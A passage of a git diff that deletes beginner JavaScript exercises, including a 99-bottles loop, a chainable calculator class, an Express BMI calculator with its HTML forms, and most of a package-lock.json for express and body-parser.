loop -//solution of 99 bottles challenge - - -var i = 99; -while(i>=2){ - console.log( i + " bottles of beer on the wall," + i + " bottles of beer"); - - i--; - - console.log( "Take one down and pass it around, " + i + " bottles of beer on the wall."); -} - -console.log( "1 bottle of beer on the wall, 1 bottle of beer"); - console.log( "Take one down and pass it around, no more bottles of beer on the wall."); diff --git a/Add Code Here/JAVASCRIPT/AbbreviatedString.html b/Add Code Here/JAVASCRIPT/AbbreviatedString.html deleted file mode 100644 index a9330416c29..00000000000 --- a/Add Code Here/JAVASCRIPT/AbbreviatedString.html +++ /dev/null @@ -1,27 +0,0 @@ - - - - - - - Document - - - - - diff --git a/Add Code Here/JAVASCRIPT/Advanced Calculator/.babelrc b/Add Code Here/JAVASCRIPT/Advanced Calculator/.babelrc deleted file mode 100644 index b8ce0ef4698..00000000000 --- a/Add Code Here/JAVASCRIPT/Advanced Calculator/.babelrc +++ /dev/null @@ -1,3 +0,0 @@ -{ - "presets": ["es2015"] - } \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Advanced Calculator/calculator.js b/Add Code Here/JAVASCRIPT/Advanced Calculator/calculator.js deleted file mode 100644 index 984f43edf2d..00000000000 --- a/Add Code Here/JAVASCRIPT/Advanced Calculator/calculator.js +++ /dev/null @@ -1,46 +0,0 @@ -'use strict' - -class Calculator { - - constructor(number) { - this.number = number - } - add(penambahan) { - this.number += penambahan - return this - } - subtract(pengurangan) { - this.number -= pengurangan - return this - } - multiply(perkalian) { - this.number *= perkalian - return this - } - divide(pembagian) { - this.number /= pembagian - return this - } - square(pangkat) { - this.number = Math.pow(this.num, pangkat) - return this - } - squareRoot(akarPangkat) { - this.number = Math.sqrt(this.number, akarPangkat) - return this - } - piLingkaran() { - this.number = Math.PI * this.number - return this - } -} - -/** note : you can use several features from ecmascript, such as: -* - Classes -* - Default Parameters -* - Destructured Assignment -* - Template Literals -* - Method Chaining -*/ - -module.exports = Calculator \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Advanced Calculator/index.js b/Add Code Here/JAVASCRIPT/Advanced Calculator/index.js deleted file mode 100644 index da537b776aa..00000000000 --- a/Add Code Here/JAVASCRIPT/Advanced Calculator/index.js +++ /dev/null @@ -1,8 +0,0 @@ -'use strict' - -const Calculator = require("./calculator.js") - -// execute calculator.js here - -let perhitunganCalculator = new Calculator(10) -console.log(perhitunganCalculator.add(5).subtract(2).multiply(10).divide(2)) \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Area of a Circle/AreaCircle.html b/Add Code Here/JAVASCRIPT/Area of a Circle/AreaCircle.html deleted file mode 100644 index 36415e4b433..00000000000 --- a/Add Code Here/JAVASCRIPT/Area of a Circle/AreaCircle.html +++ /dev/null @@ -1,19 +0,0 @@ - -
- -
- -
-

Area and circumference of a circle

- - - -
- - - \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Area of a Circle/circleArea.js b/Add Code Here/JAVASCRIPT/Area of a Circle/circleArea.js deleted file mode 100644 index ea5ae36666e..00000000000 --- a/Add Code Here/JAVASCRIPT/Area of a Circle/circleArea.js +++ /dev/null @@ -1 +0,0 @@ -const area = radius => 3.14 * radius * radius diff --git a/Add Code Here/JAVASCRIPT/BMI Calculator/bmiCalculator.html b/Add Code Here/JAVASCRIPT/BMI Calculator/bmiCalculator.html deleted file mode 100644 index 8561c5d815e..00000000000 --- a/Add Code Here/JAVASCRIPT/BMI Calculator/bmiCalculator.html +++ /dev/null @@ -1,18 +0,0 @@ - - - - - - - BMI - - -

BMI Calculator

-
- - - - -
- - \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/BMI Calculator/calculator.js b/Add Code Here/JAVASCRIPT/BMI Calculator/calculator.js deleted file mode 100644 index 264770361aa..00000000000 --- a/Add Code Here/JAVASCRIPT/BMI Calculator/calculator.js +++ /dev/null @@ -1,36 +0,0 @@ -const express = require("express"); -const bodyParser = require("body-parser"); -const { urlencoded } = require("body-parser"); -const app = express(); - -//creating route -app.get("/",function(req,res){ - res.sendFile( __dirname + "/index.html"); -}); - -app.use(bodyParser.urlencoded({extended: true})); - -app.post("/", function(req,res){ - var num1 = Number(req.body.num1); - var num2 = Number(req.body.num2); - - var result = num1 + num2; - - res.send("The result of the calculation is " + result); -}); - -app.listen(3000); - - -app.get("/bmiCalculator",function(req,res){ - res.sendFile( __dirname + "/bmiCalculator.html"); -}); - -app.post("/bmiCalculator",function(req,res){ - var weight = parseFloat(req.body.weight); - var height = parseFloat(req.body.height); - - var bmi = weight/(height*height); - - res.send("Your BMI is " + bmi ); -}); diff --git a/Add Code Here/JAVASCRIPT/BMI Calculator/index.html b/Add Code Here/JAVASCRIPT/BMI Calculator/index.html deleted file mode 100644 index 9165b47fc73..00000000000 --- a/Add Code Here/JAVASCRIPT/BMI Calculator/index.html +++ /dev/null @@ -1,20 +0,0 @@ - - - - - - - - Calculator - - - -

Calculator

-
- - - -
- - - \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/BMI Calculator/package-lock.json b/Add Code Here/JAVASCRIPT/BMI Calculator/package-lock.json deleted file mode 100644 index 44e39720740..00000000000 --- a/Add Code Here/JAVASCRIPT/BMI Calculator/package-lock.json +++ /dev/null @@ -1,1019 +0,0 @@ -{ - "name": "calculator", - "version": "1.0.0", - "lockfileVersion": 2, - "requires": true, - "packages": { - "": { - "name": "calculator", - "version": "1.0.0", - "license": "ISC", - "dependencies": { - "body-parser": "^1.20.0", - "express": "^4.18.1" - } - }, - "node_modules/accepts": { - "version": "1.3.8", - "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", - "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", - "dependencies": { - "mime-types": "~2.1.34", - "negotiator": "0.6.3" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/array-flatten": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", - "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==" - }, - "node_modules/body-parser": { - "version": "1.20.0", - "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.0.tgz", - "integrity": "sha512-DfJ+q6EPcGKZD1QWUjSpqp+Q7bDQTsQIF4zfUAtZ6qk+H/3/QRhg9CEp39ss+/T2vw0+HaidC0ecJj/DRLIaKg==", - "dependencies": { - "bytes": "3.1.2", - "content-type": "~1.0.4", - "debug": "2.6.9", - "depd": "2.0.0", - "destroy": "1.2.0", - "http-errors": "2.0.0", - "iconv-lite": "0.4.24", - "on-finished": "2.4.1", - "qs": "6.10.3", - "raw-body": "2.5.1", - "type-is": "~1.6.18", - "unpipe": "1.0.0" - }, - "engines": { - "node": ">= 0.8", - "npm": "1.2.8000 || >= 1.4.16" - } - }, - "node_modules/bytes": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", - "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/call-bind": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", - "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", - "dependencies": { - "function-bind": "^1.1.1", - "get-intrinsic": "^1.0.2" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/content-disposition": { - "version": "0.5.4", - "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", - "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", - "dependencies": { - "safe-buffer": "5.2.1" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/content-type": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", - "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/cookie": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz", - "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/cookie-signature": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", - "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==" - }, - "node_modules/debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/depd": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/destroy": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", - "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", - "engines": { - "node": ">= 0.8", - "npm": "1.2.8000 || >= 1.4.16" - } - }, - "node_modules/ee-first": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", - "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==" - }, - "node_modules/encodeurl": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", - "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/escape-html": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", - "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==" - }, - "node_modules/etag": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", - "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/express": { - "version": "4.18.1", - "resolved": "https://registry.npmjs.org/express/-/express-4.18.1.tgz", - "integrity": "sha512-zZBcOX9TfehHQhtupq57OF8lFZ3UZi08Y97dwFCkD8p9d/d2Y3M+ykKcwaMDEL+4qyUolgBDX6AblpR3fL212Q==", - "dependencies": { - "accepts": "~1.3.8", - "array-flatten": "1.1.1", - "body-parser": "1.20.0", - "content-disposition": "0.5.4", - "content-type": "~1.0.4", - "cookie": "0.5.0", - "cookie-signature": "1.0.6", - "debug": "2.6.9", - "depd": "2.0.0", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "etag": "~1.8.1", - "finalhandler": "1.2.0", - "fresh": "0.5.2", - "http-errors": "2.0.0", - "merge-descriptors": "1.0.1", - "methods": "~1.1.2", - "on-finished": "2.4.1", - "parseurl": "~1.3.3", - "path-to-regexp": "0.1.7", - "proxy-addr": "~2.0.7", - "qs": "6.10.3", - "range-parser": "~1.2.1", - "safe-buffer": "5.2.1", - "send": "0.18.0", - "serve-static": "1.15.0", - "setprototypeof": "1.2.0", - "statuses": "2.0.1", - "type-is": "~1.6.18", - "utils-merge": "1.0.1", - "vary": "~1.1.2" - }, - "engines": { - "node": ">= 0.10.0" - } - }, - "node_modules/finalhandler": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz", - "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==", - "dependencies": { - "debug": "2.6.9", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "on-finished": "2.4.1", - "parseurl": "~1.3.3", - "statuses": "2.0.1", - "unpipe": "~1.0.0" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/forwarded": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", - "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/fresh": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", - "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/function-bind": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", - "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" - }, - "node_modules/get-intrinsic": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.2.tgz", - "integrity": "sha512-Jfm3OyCxHh9DJyc28qGk+JmfkpO41A4XkneDSujN9MDXrm4oDKdHvndhZ2dN94+ERNfkYJWDclW6k2L/ZGHjXA==", - "dependencies": { - "function-bind": "^1.1.1", - "has": "^1.0.3", - "has-symbols": "^1.0.3" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/has": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", - "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", - "dependencies": { - "function-bind": "^1.1.1" - }, - "engines": { - "node": ">= 0.4.0" - } - }, - "node_modules/has-symbols": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", - "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/http-errors": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", - "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", - "dependencies": { - "depd": "2.0.0", - "inherits": "2.0.4", - "setprototypeof": "1.2.0", - "statuses": "2.0.1", - "toidentifier": "1.0.1" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/iconv-lite": { - "version": "0.4.24", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", - "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", - "dependencies": { - "safer-buffer": ">= 2.1.2 < 3" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" - }, - "node_modules/ipaddr.js": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", - "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", - "engines": { - "node": ">= 0.10" - } - }, - "node_modules/media-typer": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", - "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/merge-descriptors": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", - "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w==" - }, - "node_modules/methods": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", - "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/mime": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", - "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", - "bin": { - "mime": "cli.js" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/mime-db": { - "version": "1.52.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", - "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/mime-types": { - "version": "2.1.35", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", - "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", - "dependencies": { - "mime-db": "1.52.0" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" - }, - "node_modules/negotiator": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", - "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/object-inspect": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.2.tgz", - "integrity": "sha512-z+cPxW0QGUp0mcqcsgQyLVRDoXFQbXOwBaqyF7VIgI4TWNQsDHrBpUQslRmIfAoYWdYzs6UlKJtB2XJpTaNSpQ==", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/on-finished": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", - "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", - "dependencies": { - "ee-first": "1.1.1" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/parseurl": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", - "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/path-to-regexp": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", - "integrity": "sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ==" - }, - "node_modules/proxy-addr": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", - "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", - "dependencies": { - "forwarded": "0.2.0", - "ipaddr.js": "1.9.1" - }, - "engines": { - "node": ">= 0.10" - } - }, - "node_modules/qs": { - "version": "6.10.3", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.3.tgz", - "integrity": "sha512-wr7M2E0OFRfIfJZjKGieI8lBKb7fRCH4Fv5KNPEs7gJ8jadvotdsS08PzOKR7opXhZ/Xkjtt3WF9g38drmyRqQ==", - "dependencies": { - "side-channel": "^1.0.4" - }, - "engines": { - "node": ">=0.6" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/range-parser": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", - "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/raw-body": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz", - "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==", - "dependencies": { - "bytes": "3.1.2", - "http-errors": "2.0.0", - "iconv-lite": "0.4.24", - "unpipe": "1.0.0" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ] - }, - "node_modules/safer-buffer": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" - }, - "node_modules/send": { - "version": "0.18.0", - "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz", - "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==", - "dependencies": { - "debug": "2.6.9", - "depd": "2.0.0", - "destroy": "1.2.0", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "etag": "~1.8.1", - "fresh": "0.5.2", - "http-errors": "2.0.0", - "mime": "1.6.0", - "ms": "2.1.3", - "on-finished": "2.4.1", - "range-parser": "~1.2.1", - "statuses": "2.0.1" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/send/node_modules/ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" - }, - "node_modules/serve-static": { - "version": "1.15.0", - "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz", - "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==", - "dependencies": { - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "parseurl": "~1.3.3", - "send": "0.18.0" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/setprototypeof": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", - "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" - }, - "node_modules/side-channel": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", - "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", - "dependencies": { - "call-bind": "^1.0.0", - "get-intrinsic": "^1.0.2", - "object-inspect": "^1.9.0" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/statuses": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", - "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/toidentifier": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", - "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", - "engines": { - "node": ">=0.6" - } - }, - "node_modules/type-is": { - "version": "1.6.18", - "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", - "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", - "dependencies": { - "media-typer": "0.3.0", - "mime-types": "~2.1.24" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/unpipe": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", - "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/utils-merge": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", - "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", - "engines": { - "node": ">= 0.4.0" - } - }, - "node_modules/vary": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", - "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", - "engines": { - "node": ">= 0.8" - } - } - }, - "dependencies": { - "accepts": { - "version": "1.3.8", - "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", - "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", - "requires": { - "mime-types": "~2.1.34", - "negotiator": "0.6.3" - } - }, - "array-flatten": { - "version": 